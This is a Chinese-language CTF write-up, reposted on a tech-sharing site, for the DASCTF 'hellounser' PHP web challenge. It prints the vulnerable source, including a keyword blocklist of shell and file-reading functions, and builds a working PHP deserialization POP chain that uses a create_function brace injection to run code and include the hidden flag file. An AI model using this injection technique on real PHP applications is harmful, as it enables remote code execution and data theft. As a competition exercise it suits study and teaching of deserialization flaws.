ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

DASCTF Sept X 浙江工业大学秋季挑战赛 web

2022-08-16 22:32:20  阅读:161  来源: 互联网

标签:function web show func arg var DASCTF Sept public


hellounser

直接可读源码

<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;
    
    public function show(){
        $func = $this->func;
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { 
            die('No!No!No!'); 
        } else { 
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg); 
        }
    }
    
    public function __toString(){
        $this->show();
        return "<br>"."Nice Job!!"."<br>";
    }
    
    
}

if(isset($_GET['pop'])){
    $aaa = unserialize($_GET['pop']);
    $aaa();
}
else{
    highlight_file(__FILE__);
}
?>

审计代码发现需要GET方式传入”pop”,然后经反序列化后被调用。
A类中的_invoke()魔术方法能在A类被调用为函数时触发,从而调用show()函数,输出$var,而B类中的_toString()魔术方法能在B类被当作字符串使用时触发,若让$var=B类,则_toString()被触发时调用B的show()函数。
查看B类中show()函数,funcarg被绕过后则可包含”flag.php”文件,注释中提到不会输出,便只能依赖$func函数——有两个参数,且能执行任意命令,可利用cretae_function,既绕过了func的匹配,又可以执行(这里需要用}闭合函数)。
由此构造如下代码

$a=new A();
$b=new B();

$b->func="create_function";
$b->arg="}var_dump(get_defined_vars());//";
$a->var=$b;

echo urlencode(serialize($a));

传入” cretae_function”作为$函数名,然后将"}var_dump(get_defined_vars());//"传入arg,从而绕过了匹配并执行$func('', $this->arg); ,相当于执行如下代码

create_function("",}var_dump(get_defined_vars());//)
也即--------->
cfunction(""){
}var_dump(get_defined_vars());//}

这里的var_dump()函数可以输出变量的相关信息,显示关于一个或多个表达式的结构信息,包括表达式的类型与值(其中数组会递归展开值,通过缩进显示其结构);而get_defined_vars()函数能返回由所有已定义变量所组成的数组,通过这两个函数能看到所有已定义变量。
经以上代码执行便可得到序列化$a的url编码,传入后得到

发现真正的flag藏在一个叫Tru3flag.php的文件里,因此base64绕过后,用require()函数包含执行[或者cat查看用取反绕过的办法]
require(base64_decode(VHJ1M2ZsYWcucGhw));
修改后的完整代码如下

class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;
    
    public function show(){
        $func = $this->func;
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { 
            die('No!No!No!'); 
        } else { 
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg); 
        }
    }
    
    public function __toString(){
        $this->show();  
        return "<br>"."Nice Job!!"."<br>";
    } 
}

$a=new A();
$b=new B();

$b->func="create_function";
$b->arg="}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//";
$a->var=$b;
/*
create_function("",}var_dump(get_defined_vars());//)
--------->
cfunction(""){
}var_dump(get_defined_vars());//}
*/
echo urlencode(serialize($a));
?>

得到flag

标签:function,web,show,func,arg,var,DASCTF,Sept,public
来源: https://www.cnblogs.com/ialoe/p/16593231.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有